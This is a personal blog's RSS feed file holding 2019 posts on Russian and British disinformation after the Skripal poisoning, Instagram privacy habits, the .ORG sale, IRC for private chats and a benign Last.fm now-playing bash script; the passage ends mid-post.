pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Disinfo war: RU vs GB</title><description><![CDATA[<p>This entire sequence of events begins with the attempted poisoning of
15Sergei Skripal<sup class="footnote-ref" id="fnref-skripal"><a href="#fn-skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
16the UK’s intelligence services. This hit attempt happened on the 4th of
17March, 2018. 8 days later, then-Prime Minister Theresa May formally
18accused Russia for the attack.</p>
19
20<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
21In addition to the British military-research facility at Porton Down,
22a small number of labs around the world were tasked with confirming
23Porton Down’s conclusions on the toxin that was used, by the OPCW
24(Organisation for the Prohibition of Chemical Weapons).</p>
25
26<p>With the background on the matter out of the way, here are the different
27instances of well timed disinformation pushed out by Moscow.</p>
28
29<h2 id="the-russian-offense">The Russian offense</h2>
30
31<h3 id="april-14-2018">April 14, 2018</h3>
32
33<ul>
34<li>RT published an article claiming that Spiez had identified a different
35toxin – BZ, and not Novichok.</li>
36<li>This was an attempt to shift the blame from Russia (origin of Novichok),
37to NATO countries, where it was apparently in use.</li>
38<li>Most viral piece on the matter in all of 2018.</li>
39</ul>
40
41<p>Although technically correct, this isn’t the entire truth. As part of
42protocol, the OPCW added a new substance to the sample as a test. If any
43of the labs failed to identify this substance, their findings were
44deemed untrustworthy. This toxin was a derivative of BZ.</p>
45
46<p>Here are a few interesting things to note:</p>
47
48<ol>
49<li>The entire process starting with the OPCW and the labs is top-secret.
50How did Russia even know Speiz was one of the labs?</li>
51<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
52Down’s findings. Note that Russia is a part of OPCW, and are fully
53aware of the quality control measures in place. Surely they knew
54about the reason for BZ’s use?</li>
55</ol>
56
57<p>Regardless, the Russian version of the story spread fast. They cashed in
58on two major factors to plant this disinfo:</p>
59
60<ol>
61<li>“NATO bad” : Overused, but surprisingly works. People love a story
62that goes full 180°.</li>
63<li>Spiez can’t defend itself: At the risk of revealing that it was one
64of the facilities testing the toxin, Spiez was only able to “not
65comment”.</li>
66</ol>
67
68<h3 id="april-3-2018">April 3, 2018</h3>
69
70<ul>
71<li>The Independent publishes a story based on an interview with the chief
72executive of Porton Down, Gary Aitkenhead.</li>
73<li>Aitkenhead says they’ve identified Novichok but “have not identified
74the precise source”.</li>
75<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
76Porton Down confirmed the origin of the toxin to be Russia.</li>
77<li>This discrepancy was immediately promoted by Moscow, and its network
78all over.</li>
79</ul>
80
81<p>This one is especially interesting because of how <em>simple</em> it is to
82exploit a small contradiction, that could’ve been an honest mistake.
83This episode is also interesting because the British actually attempted
84damage control this time. Porton Down tried to clarify Aitkenhead’s
85statement via a tweet<sup class="footnote-ref" id="fnref-dstltweet"><a href="#fn-dstltweet">2</a></sup>:</p>
86
87<blockquote>
88 <p>Our experts have precisely identified the nerve agent as a Novichok.
89 It is not, and has never been, our responsibility to confirm the source
90 of the agent @skynews @UKmoments</p>
91</blockquote>
92
93<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/">Defense One</a>
94article on the matter:</p>
95
96<blockquote>
97 <p>The episode is seen by those inside Britain’s security communications team
98 as the most serious misstep of the crisis, which for a period caused real
99 concern. U.K. officials told me that, in hindsight, Aikenhead could never
100 have blamed Russia directly, because that was not his job—all he was
101 qualified to do was identify the chemical. Johnson, in going too far,
102 was more damaging. Two years on, he is now prime minister.</p>
103</blockquote>
104
105<h3 id="may-2018">May 2018</h3>
106
107<ul>
108<li>OPCW facilities receive an email from Spiez inviting them to
109a conference.</li>
110<li>The conference itself is real, and has been organized before.</li>
111<li>The email however, was not – attached was a Word document containing
112malware.</li>
113<li>Also seen were inconsistencies in the email formatting, from what was
114normal.</li>
115</ul>
116
117<p>This spearphishing campaign was never offically attributed to Moscow,
118but there are a lot of tells here that point to it being the work of
119a state actor:</p>
120
121<ol>
122<li>Attack targetting a specific group of individuals.</li>
123<li>Relatively high level of sophistication – email formatting,
124malicious Word doc, etc.</li>
125</ol>
126
127<p>However, the British NCSC have deemed with “high confidence” that the
128attack was perpetrated by GRU. In the UK intelligence parlance, “highly
129likely” / “high confidence” usually means “definitely”.</p>
130
131<h2 id="britains-defense">Britain’s defense</h2>
132
133<h3 id="september-5-2018">September 5, 2018</h3>
134
135<p>The UK took a lot of hits in 2018, but they eventually came back:</p>
136
137<ul>
138<li>Metropolitan Police has a meeting with the press, releasing their
139findings.</li>
140<li>CCTV footage showing the two Russian hitmen was released.</li>
141<li>Traces of Novichok identified in their hotel room.</li>
142</ul>
143
144<p>This sudden news explosion from Britan’s side completely
145bulldozed the information space pertaining to the entire event.
146According to Defense One:</p>
147
148<blockquote>
149 <p>Only two of the 10 most viral stories in the weeks following the announcement
150 were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,
151 it felt as though the U.K. was the aggressor. “This was all kept secret to
152 put the Russians on the hop,” one told me. “Their response was all over the
153 place from this point. It was the turning point.”</p>
154</blockquote>
155
156<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
157were there to execute a cyber operation against the OPCW (located in The
158Hague), via their WiFi networks. They were arrested by Dutch security,
159and later identifed as belonging to Unit 26165. They also seized a bunch
160of equipment from the room and their car.</p>
161
162<blockquote>
163 <p>The abandoned equipment revealed that the GRU unit involved had sent
164 officers around the world to conduct similar cyberattacks. They had
165 been in Malaysia trying to steal information about the investigation
166 into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
167 Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
168 place as Russia faced sanctions from the International Olympic Committee.
169 Britain has said that the same GRU unit attempted to compromise Foreign
170 Office and Porton Down computer systems after the Skripal poisoning.</p>
171</blockquote>
172
173<h3 id="october-4-2018">October 4, 2018</h3>
174
175<p>UK made the arrests public, published a list of infractions commited by
176Russia, along with the specific GRU unit that was caught.</p>
177
178<p>During this period, just one of the top 25 viral stories was from
179a pro-Russian outlet, RT – that too a fairly straightforward piece.</p>
180
181<h2 id="wrapping-up">Wrapping up</h2>
182
183<p>As with conventional warfare, it’s hard to determine who won. Britain
184may have had the last blow, but Moscow—yet again—depicted their
185finesse in information warfare. Their ability to seize unexpected
186openings, gather intel to facilitate their disinformation campaigns, and
187their cyber capabilities makes them a formidable threat. </p>
188
189<p>2020 will be fun, to say the least.</p>
190
191<div class="footnotes">
192<hr />
193<ol>
194<li id="fn-skripal">
195<p><a href="https://en.wikipedia.org/wiki/Sergei_Skripal">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a href="#fnref-skripal" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
196</li>
197
198<li id="fn-dstltweet">
199<p><a href="https://twitter.com/dstlmod/status/981220158680260613">https://twitter.com/dstlmod/status/981220158680260613</a> <a href="#fnref-dstltweet" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
200</li>
201</ol>
202</div>
203]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
204compelled to write this post. Using a social platform like Instagram
205automatically implies that the user understands (to some level) that
206their personally identifiable information is exposed publicly, and they
207sign up for the service understanding this risk – or I think they do,
208anyway. But that’s about it, they go ham after that. Sharing every nitty
209gritty detail of their private lives without understanding the potential
210risks of doing so.</p>
211
212<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
213Instgrammers are <em>obviously</em> incapable of doing that – so I’ll do it
214for them. </p>
215
216<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2>
217
218<p>I stress on the word “average”, as in this doesn’t apply to those with
219more than a couple thousand followers. Those type of accounts inherently
220face different kinds of threats – those that come with having
221a celebrity status, and are not in scope of this analysis.</p>
222
223<ul>
224<li><p><strong>State actors</strong>: This doesn’t <em>really</em> fit into our threat model,
225since our target demographic is simply not important enough. That said,
226there are select groups of individuals that operate on
227Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
228actor.</p></li>
229<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
230of the amount of visual information shared on the platform. A lot can be
231gleaned from one simple picture in a nondescript alleyway. We’ll get
232into this in the DOs and DON’Ts in a bit.</p></li>
233<li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an
234illegal, because well, it’s logged and more importantly – not
235end-to-end encrypted. Law enforcement can subpoena any and all account
236information. Quoting Instagram’s
237<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
238</ul>
239
240<blockquote>
241 <p>a search warrant issued under the procedures described in the Federal
242 Rules of Criminal Procedure or equivalent state warrant procedures
243 upon a showing of probable cause is required to compel the disclosure
244 of the stored contents of any account, which may include messages,
245 photos, comments, and location information.</p>
246</blockquote>
247
248<p>That out of the way, here’s a list of DOs and DON’Ts to keep in mind
249while posting on Instagram.</p>
250
251<h3 id="donts">DON’Ts</h3>
252
253<ul>
254<li><p>Use Instagram for planning and orchestrating illegal shit! I’ve
255explained why this is a terrible idea above. Use secure comms – even
256WhatsApp is a better choice, if you have nothing else. In fact, try
257avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
258<li><p>Film live videos outside. Or try not to, if you can. You might
259unknowingly include information about your location: street signs,
260shops etc. These can be used to ascertain your current location.</p></li>
261<li><p>Film live videos in places you visit often. This compromises your
262security at places you’re bound to be at.</p></li>
263<li><p>Share your flight ticket in your story! I can’t stress this enough!!!
264Summer/winter break? “Look guys, I’m going home! Here’s where I live,
265and here’s my flight number – feel free to track me!”. This scenario is
266especially worrisome because the start and end points are known to the
267threat actor, and your arrival time can be trivially looked up – thanks
268to the flight number on your ticket. So, just don’t.</p></li>
269<li><p>Post screenshots with OS specific details. This might border on
270pendantic, but better safe than sorry. Your phone’s statusbar and navbar
271are better cropped out of pictures. They reveal the time, notifications
272(apps that you use), and can be used to identify your phone’s operating
273system. Besides, the status/nav bar isn’t very useful to your screenshot
274anyway.</p></li>
275<li><p>Share your voice. In general, reduce your footprint on the platform
276that can be used to identify you elsewhere.</p></li>
277<li><p>Think you’re safe if your account is set to private. It doesn’t take
278much to get someone who follows you, to show show your profile on their
279device.</p></li>
280</ul>
281
282<h3 id="dos">DOs</h3>
283
284<ul>
285<li><p>Post pictures that pertain to a specific location, once you’ve moved
286out of the location. Also applies to stories. It can wait.</p></li>
287<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
288Who woulda thunk I’d advocate bathroom selfies?</p></li>
289<li><p>Delete old posts that are irrelevant to your current audience. Your
290friends at work don’t need to know about where you went to high school.</p></li>
291</ul>
292
293<p>More DON’Ts than DOs, that’s very telling. Here are a few more points
294that are good OPSEC practices in general:</p>
295
296<ul>
297<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
298<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
299online, from what you do IRL. Limit information exposure.</li>
300<li><strong>Assess your risks</strong>: Do this often. People change, your environments
301change, and consequentially the risks do too.</li>
302</ul>
303
304<h2 id="fin">Fin</h2>
305
306<p>Instagram is—much to my dismay—far too popular for it to die any
307time soon. There are plenty of good reasons to stop using the platform
308altogether (hint: Facebook), but that’s a discussion for another day.</p>
309
310<p>Or be like me:</p>
311
312<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>
313
314<p>And that pretty much wraps it up, with a neat little bow.</p>
315
316<div class="footnotes">
317<hr />
318<ol>
319<li id="fn-ddepisode">
320<p><a href="https://darknetdiaries.com/episode/51/">https://darknetdiaries.com/episode/51/</a> – Jack talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
321</li>
322</ol>
323</div>
324]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
325<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
3262003. The .ORG TLD is used primarily by communities, free and open source projects,
327and other non-profit organizations – although the use of the TLD isn’t
328restricted to non-profits.</p>
329
330<p>The Internet Society or ISOC, the group that created the PIR, has
331decided to sell the registry over to a private equity firm – Ethos
332Capital.</p>
333
334<h2 id="whats-the-problem">What’s the problem?</h2>
335
336<p>There are around 10 million .ORG TLDs registered, and a good portion of
337them are non-profits and non-governmental organizations. As the name
338suggests, they don’t earn any profits and all their operations rely on
339a thin inflow of donations. A private firm having control of the .ORG
340domain gives them the power to make decisions that would be unfavourable
341to the .ORG community:</p>
342
343<ul>
344<li><p>They control the registration/renewal fees of the TLD. They can
345hike the price if they wish to. As is stands, NGOs already earn very
346little – a .ORG price hike would put them in a very icky situation.</p></li>
347<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
348Mechanisms</a>
349or RPMs, which are essentially legal statements that can—if not
350correctly developed—jeopardize / censor completely legal non-profit
351activities.</p></li>
352<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
353news that nation states go after NGOs, targetting them with allegations
354of illegal activity. The registry being a private firm only simplifies
355the process.</p></li>
356</ul>
357
358<p>Sure, these are just “what ifs” and speculations, but the risk is real.
359Such power can be abused and this would be severly detrimental to NGOs
360globally.</p>
361
362<h2 id="how-can-i-help">How can I help?</h2>
363
364<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
365<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
366behalf to:</p>
367
368<ul>
369<li>Andrew Sullivan, CEO, ISOC</li>
370<li>Jon Nevett, CEO, PIR</li>
371<li>Maarten Botterman, Board Chair, ICANN</li>
372<li>Göran Marby, CEO, ICANN</li>
373</ul>
374
375<h2 id="closing-thoughts">Closing thoughts</h2>
376
377<p>The Internet that we all love and care for is slowly being subsumed by
378megacorps and private firms, who’s only motive is to make a profit. The
379Internet was meant to be free, and we’d better act now if we want that
380freedom. The future looks bleak – I hope we aren’t too late.</p>
381]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
382exams. I get all these cool ideas for things to do, and it’s always
383during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
384
385<h2 id="blog-post-queue">Blog post queue</h2>
386
387<p>I realized that I could use this site’s
388<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
389I’ve made a few, mostly just porting them over from my Google Keep note.</p>
390
391<p>This method of using issues is great, because readers can chime in with
392ideas for things I could possibly discuss – like in <a href="https://github.com/icyphox/site/issues/10">this
393issue</a>.</p>
394
395<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>
396
397<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
398– is awfully slow. Also, Python is bloat.
399Will rewriting it fix that? That’s what I plan to find out. I have
400a couple of choices of languages to use in the rewrite:</p>
401
402<ul>
403<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
404<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
405<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
406(<code>shite</code>?)</li>
407</ul>
408
409<p>Oh, and did I mention – I want it to be compatible with <code>vite</code>.
410I don’t want to have to redo my site structure or its templates. At the
411moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
412
413<h2 id="irc-bot">IRC bot</h2>
414
415<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
416traction, which was pretty cool. I didn’t really talk much about the bot
417itself though; I’m dedicating this section to
418<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
419
420<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
421basic features in place:</p>
422
423<ul>
424<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
425track</li>
426<li>Fetches the URL title, when a URL is sent in chat</li>
427</ul>
428
429<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
430command, since we share Spotify links pretty often.</p>
431
432<h2 id="other">Other</h2>
433
434<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
435log</a> when I, well… get around to it. Haven’t had time to do
436much in the past few weeks – the time at the end of a semester tends to
437get pretty tight. Here’s what I plan to get back to during this winter break:</p>
438
439<ul>
440<li>Russian!</li>
441<li>Window manager in Nim</li>
442<li><code>vite</code> rewrite, probably</li>
443<li>The other blog posts in queue</li>
444</ul>
445
446<p>I’ve also put off doing any “security work” for a while now, perhaps
447that’ll change this December. Or whenever.</p>
448
449<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
450
451<div class="footnotes">
452<hr />
453<ol>
454<li id="fn-1">
455<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
456</li>
457</ol>
458</div>
459]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
460daily communications, as opposed to non-free alternatives like WhatsApp
461or Telegram. This is an account of how that went.</p>
462
463<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>
464
465<p>I’ve tried a <em>ton</em> of messaging applications – Signal, WhatsApp,
466Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
467
468<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
469centralized architecture, and OWS’s refusal to federate.</p>
470
471<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
472thought. The sole reason I have it installed is for University’s
473class groups; I can’t wait to graduate.</p>
474
475<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
476got a very nice Android client, though.</p>
477
478<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
479on this because I don’t recall what my experience was like, but I’m not
480using it now… so if that’s indicative of anything.</p>
481
482<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
483Overall, pretty great, but it’s slow. I’ve had messages not send / not
484received a lot of times. Matrix + Riot excels in group communication, but
485really sucks for one-to-one chats.</p>
486
487<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
488
489<p><strong>DeltaChat</strong>: Pretty interesting idea – on paper. Using existing email
490infrastructure for IM sounds great, but it isn’t all that cash in
491practice. Email isn’t instant, there’s always a delay of give or take
4925 to 10 seconds, if not more. This affects the flow of conversation.
493I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
494
495<h2 id="why-irc">Why IRC?</h2>
496
497<p>It’s free, in all senses of the word. A lot of others have done a great
498job of answering this question in further detail, this is by far my
499favourite:</p>
500
501<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
502
503<h2 id="using-ircs-private-messages">Using IRC’s private messages</h2>
504
505<p>This was the next obvious choice, but personal message buffers don’t
506persist in ZNC and it’s very annoying to have to do a <code>/query
507nerdypepper</code> (Weechat) or to search and message a user via Revolution
508IRC. The only unexplored option – using a channel.</p>
509
510<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>
511
512<p>A fairly easy process:</p>
513
514<ul>
515<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
516
517<pre><code>#crimson [+ilnpstz 3]
518</code></pre>
519
520<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
521hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
522modes.</p></li>
523<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
524to send a notification for all messages in the specified buffer
525(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
526hand, has an option to setup rules for notifications – super
527convenient.</p></li>
528<li><p>A bot: Lastly, a bot for a few small tasks – fetching URL titles, responding
529to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
530took me about an hour or two to get most of the basic functionality in
531place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
532It is by no means “good code”; it breaks spectacularly from time to
533time.</p></li>
534</ul>
535
536<h2 id="in-conclusion">In conclusion</h2>
537
538<p>As the subtitle suggests, using IRC has been great. It’s probably not
539for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
540
541<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
542
543<div class="footnotes">
544<hr />
545<ol>
546<li id="fn-modes">
547<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
548</li>
549
550<li id="fn-deltachat">
551<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
552</li>
553</ol>
554</div>
555]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
556episode a couple of days ago, and it highlighted some interesting issues that
557intelligence organizations face when working with law enforcement. Side note: it’s a pretty
558good show if you like police procedurals.</p>
559
560<h2 id="the-problem">The problem</h2>
561
562<p>Consider the following scenario:</p>
563
564<ul>
565<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
566<li>Local PD busts his operation and proceed to arrest him.</li>
567<li>3-letter org steps in, wants him released.</li>
568</ul>
569
570<p>So here’s the thing, his presence is a threat to public but at the same time,
571he can be a valuable long term asset – giving info on drug inflow, exchanges and perhaps even
572actionable intel on bigger fish who exist on top of the ladder. But he also
573seeks security. The 3-letter org must provide him with protection,
574in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
575
576<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
577Who matters more, the people they’ve sworn to protect, or the asset?
578Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
579
580<p>Thus, the question arises – how can we measure the “usefulness” of an
581asset to better quantify the tradeoff that is to be made?
582Is the intel gained worth the loss of public safety?
583This question remains largely unanswered, and is quite the
584predicament should you find yourself in it.</p>
585
586<p>This was a fairly short post, but an interesting problem to ponder
587nonetheless.</p>
588]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
589to learn to code. Don’t get me wrong – it probably works for some.
590Everyone learns differently. But that’s only going to get you so far.
591Great you know the syntax, you can solve some competitive programming
592problems, but that’s not quite enough, is it? The actual learning comes
593from <em>applying</em> it in solving <em>actual</em> problems – not made up ones.
594(<em>inb4 some seething CP bro comes at me</em>)</p>
595
596<p>Now, what’s an actual problem? Some might define it as real world
597problems that people out there face, and solving it probably requires
598building a product. This is what you see in hackathons, generally.</p>
599
600<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
601face. This could be anything. Heck, it might not even be a “problem”. It
602could just be an itch that you want to scratch. And this is where
603<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
604examples.</p>
605
606<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>
607
608<p>If you weren’t aware already – I rice my desktop. A lot. And a part of
609this cohesive experience I try to create involves a status bar up at the
610top of my screen, showing the time, date, volume and battery statuses etc.</p>
611
612<p>So here’s the “problem”. I wanted to have my currently playing song
613(Spotify), show up on my bar. How did I approach this? A few ideas
614popped up in my head:</p>
615
616<ul>
617<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
618<li>Write a Python script to query Spotify’s API</li>
619<li>Write a Python/shell script to query Last.fm’s API</li>
620</ul>
621
622<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
623Spotify client and whined about some <code>dbus</code> issues to top it off.
624I spent a while in that rabbit hole but eventually gave up.</p>
625
626<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
627I realize that I’ll have to make <em>more</em> than one request to fetch the
628artist and track details. Nope, I need this to work fast.</p>
629
630<p>Last resort – Last.fm’s API. Spolier alert, this worked. Also, arguably
631the best choice, since it shows the track status regardless of where
632the music is being played. Here’s the script in its entirety:</p>
633
634<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
635<span class="c1"># now playing</span>
636<span class="c1"># requires the last.fm API key</span>
637
638<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
639<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
640<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
641
642<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
643<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
644<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
645<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
646<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
647<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
648
649
650<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
651<span class="k">then</span>
652 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
653 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
654 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
655<span class="k">else</span>
656 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
657<span class="k">fi</span>
658</code></pre></div>
659
660<p>The <code>source</code> command is used to fetch the API key which I store at
661<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
662for coloring output on my bar. The rest is fairly trivial and just
663involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
664That’s it! It’s so small, but I learnt a ton. For those curious, here’s
665what it looks like running:</p>
666
667<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
668
669<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>
670
671<p>This pertains to this very blog that you’re reading. I wanted a quick
672way to update the “latest post” section in the home page and the
673<a href="/blog">blog</a> listing, with a link to the latest post. This would require
674editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
675of both pages.</p>
676
677<p>This was a very
678interesting challenge to me, primarily because it requires in-place
679editing of the file, not just appending. Sure, I could’ve come up with
680some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
681regexes. Did a lot of research (read: Googling) on in-place editing of
682files in Python, sorting lists of files by modification time etc. and
